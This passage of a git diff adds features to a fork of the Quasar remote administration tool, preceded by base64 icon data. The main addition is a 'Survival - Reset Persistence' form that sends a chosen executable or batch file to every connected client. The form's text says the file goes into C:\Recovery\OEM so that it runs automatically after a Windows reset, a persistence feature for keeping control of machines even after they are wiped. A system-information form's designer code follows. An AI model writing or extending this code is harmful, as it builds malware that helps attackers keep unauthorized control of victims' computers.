F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs new file mode 100755 index 0000000..814d15a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.Designer.cs @@ -0,0 +1,135 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSurvival + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblDescription = new System.Windows.Forms.Label(); + this.lblFilePath = new System.Windows.Forms.Label(); + this.txtFilePath = new System.Windows.Forms.TextBox(); + this.btnBrowse = new System.Windows.Forms.Button(); + this.btnInstall = new System.Windows.Forms.Button(); + this.btnUninstall = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(12, 9); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(178, 21); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Survival - Reset Persist"; + // + // lblDescription + // + this.lblDescription.Location = new System.Drawing.Point(12, 40); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(460, 60); + this.lblDescription.TabIndex = 1; + this.lblDescription.Text = "This feature installs a file that will execute after Windows Reset/Recovery.\r\n\r\nThe file will be placed in C:\\Recovery\\OEM and configured to run automatically after system reset."; + // + // lblFilePath + // + this.lblFilePath.AutoSize = true; + this.lblFilePath.Location = new System.Drawing.Point(12, 110); + this.lblFilePath.Name = "lblFilePath"; + this.lblFilePath.Size = new System.Drawing.Size(79, 13); + this.lblFilePath.TabIndex = 2; + this.lblFilePath.Text = "File to Install:"; + // + // txtFilePath + // + this.txtFilePath.Location = new System.Drawing.Point(12, 130); + this.txtFilePath.Name = "txtFilePath"; + this.txtFilePath.ReadOnly = true; + this.txtFilePath.Size = new System.Drawing.Size(360, 22); + this.txtFilePath.TabIndex = 3; + // + // btnBrowse + // + this.btnBrowse.Location = new System.Drawing.Point(378, 128); + this.btnBrowse.Name = "btnBrowse"; + this.btnBrowse.Size = new System.Drawing.Size(94, 26); + this.btnBrowse.TabIndex = 4; + this.btnBrowse.Text = "Browse..."; + this.btnBrowse.UseVisualStyleBackColor = true; + this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click); + // + // btnInstall + // + this.btnInstall.Location = new System.Drawing.Point(12, 170); + this.btnInstall.Name = "btnInstall"; + this.btnInstall.Size = new System.Drawing.Size(120, 30); + this.btnInstall.TabIndex = 5; + this.btnInstall.Text = "Install"; + this.btnInstall.UseVisualStyleBackColor = true; + this.btnInstall.Click += new System.EventHandler(this.btnInstall_Click); + // + // btnUninstall + // + this.btnUninstall.Location = new System.Drawing.Point(138, 170); + this.btnUninstall.Name = "btnUninstall"; + this.btnUninstall.Size = new System.Drawing.Size(120, 30); + this.btnUninstall.TabIndex = 6; + this.btnUninstall.Text = "Uninstall"; + this.btnUninstall.UseVisualStyleBackColor = true; + this.btnUninstall.Click += new System.EventHandler(this.btnUninstall_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(352, 170); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(120, 30); + this.btnCancel.TabIndex = 7; + this.btnCancel.Text = "Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmSurvival + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(484, 212); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnUninstall); + this.Controls.Add(this.btnInstall); + this.Controls.Add(this.btnBrowse); + this.Controls.Add(this.txtFilePath); + this.Controls.Add(this.lblFilePath); + this.Controls.Add(this.lblDescription); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmSurvival"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Survival - Reset Persistence"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.Label lblFilePath; + private System.Windows.Forms.TextBox txtFilePath; + private System.Windows.Forms.Button btnBrowse; + private System.Windows.Forms.Button btnInstall; + private System.Windows.Forms.Button btnUninstall; + private System.Windows.Forms.Button btnCancel; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs new file mode 100755 index 0000000..cb598e0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSurvival.cs @@ -0,0 +1,101 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmSurvival : Form + { + private readonly Client[] _clients; + + public FrmSurvival(Client[] clients) + { + _clients = clients; + InitializeComponent(); + Utilities.ThemeManager.ApplyThemeToNewForm(this); + } + + private void btnBrowse_Click(object sender, EventArgs e) + { + using (var openFileDialog = new OpenFileDialog()) + { + openFileDialog.Title = "Select File to Install"; + openFileDialog.Filter = "Executable Files (*.exe)|*.exe|Batch Files (*.bat)|*.bat|All Files (*.*)|*.*"; + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + txtFilePath.Text = openFileDialog.FileName; + } + } + } + + private void btnInstall_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtFilePath.Text)) + { + MessageBox.Show("Please select a file to install.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + if (!File.Exists(txtFilePath.Text)) + { + MessageBox.Show("The selected file does not exist.", "File Not Found", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + try + { + byte[] fileBytes = File.ReadAllBytes(txtFilePath.Text); + string extension = Path.GetExtension(txtFilePath.Text); + + foreach (var client in _clients) + { + client.Send(new DoSurvivalInstall + { + FileBytes = fileBytes, + FileExtension = extension + }); + } + + MessageBox.Show($"Survival installation command sent to {_clients.Length} client(s).", + "Survival", MessageBoxButtons.OK, MessageBoxIcon.Information); + + this.Close(); + } + catch (Exception ex) + { + MessageBox.Show($"Error reading file: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnUninstall_Click(object sender, EventArgs e) + { + var result = MessageBox.Show( + $"Are you sure you want to uninstall survival from {_clients.Length} client(s)?\n\nThis will restore the Recovery folder to its original state.", + "Confirm Uninstall", + MessageBoxButtons.YesNo, + MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + foreach (var client in _clients) + { + client.Send(new DoSurvivalUninstall()); + } + + MessageBox.Show($"Survival uninstall command sent to {_clients.Length} client(s).", + "Survival", MessageBoxButtons.OK, MessageBoxIcon.Information); + + this.Close(); + } + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs new file mode 100755 index 0000000..956ae51 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.Designer.cs @@ -0,0 +1,173 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmSystemInformation + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation)); + this.lstSystem = new Quasar.Server.Controls.AeroListView(); + this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.copyToClipboardToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.copyAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.copySelectedToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.exportToJSONToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripMenuItem2 = new System.Windows.Forms.ToolStripSeparator(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // lstSystem + // + this.lstSystem.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstSystem.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hComponent, + this.hValue}); + this.lstSystem.ContextMenuStrip = this.contextMenuStrip; + this.lstSystem.ForeColor = System.Drawing.Color.White; + this.lstSystem.FullRowSelect = true; + this.lstSystem.GridLines = true; + this.lstSystem.HideSelection = false; + this.lstSystem.Location = new System.Drawing.Point(15, 15); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstSystem.LvwColumnSorter = listViewColumnSorter1; + this.lstSystem.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstSystem.Name = "lstSystem"; + this.lstSystem.Size = new System.Drawing.Size(669, 388); + this.lstSystem.TabIndex = 0; + this.lstSystem.UseCompatibleStateImageBehavior = false; + this.lstSystem.View = System.Windows.Forms.View.Details; + // + // hComponent + // + this.hComponent.Text = "Component"; + this.hComponent.Width = 172; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 321; + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.copyToClipboardToolStripMenuItem, + this.exportToJSONToolStripMenuItem, + this.toolStripMenuItem2, + this.refreshToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(205, 88); + // + // copyToClipboardToolStripMenuItem + // + this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.copyAllToolStripMenuItem, + this.copySelectedToolStripMenuItem}); + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; + this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(204, 26); + this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; + // + // copyAllToolStripMenuItem + // + this.copyAllToolStripMenuItem.Name = "copyAllToolStripMenuItem"; + this.copyAllToolStripMenuItem.Size = new System.Drawing.Size(149, 26); + this.copyAllToolStripMenuItem.Text = "All"; + this.copyAllToolStripMenuItem.Click += new System.EventHandler(this.copyAllToolStripMenuItem_Click); + // + // copySelectedToolStripMenuItem + // + this.copySelectedToolStripMenuItem.Name = "copySelectedToolStripMenuItem"; + this.copySelectedToolStripMenuItem.Size = new System.Drawing.Size(149, 26); + this.copySelectedToolStripMenuItem.Text = "Selected"; + this.copySelectedToolStripMenuItem.Click += new System.EventHandler(this.copySelectedToolStripMenuItem_Click); + // + // exportToJSONToolStripMenuItem + // + this.exportToJSONToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + 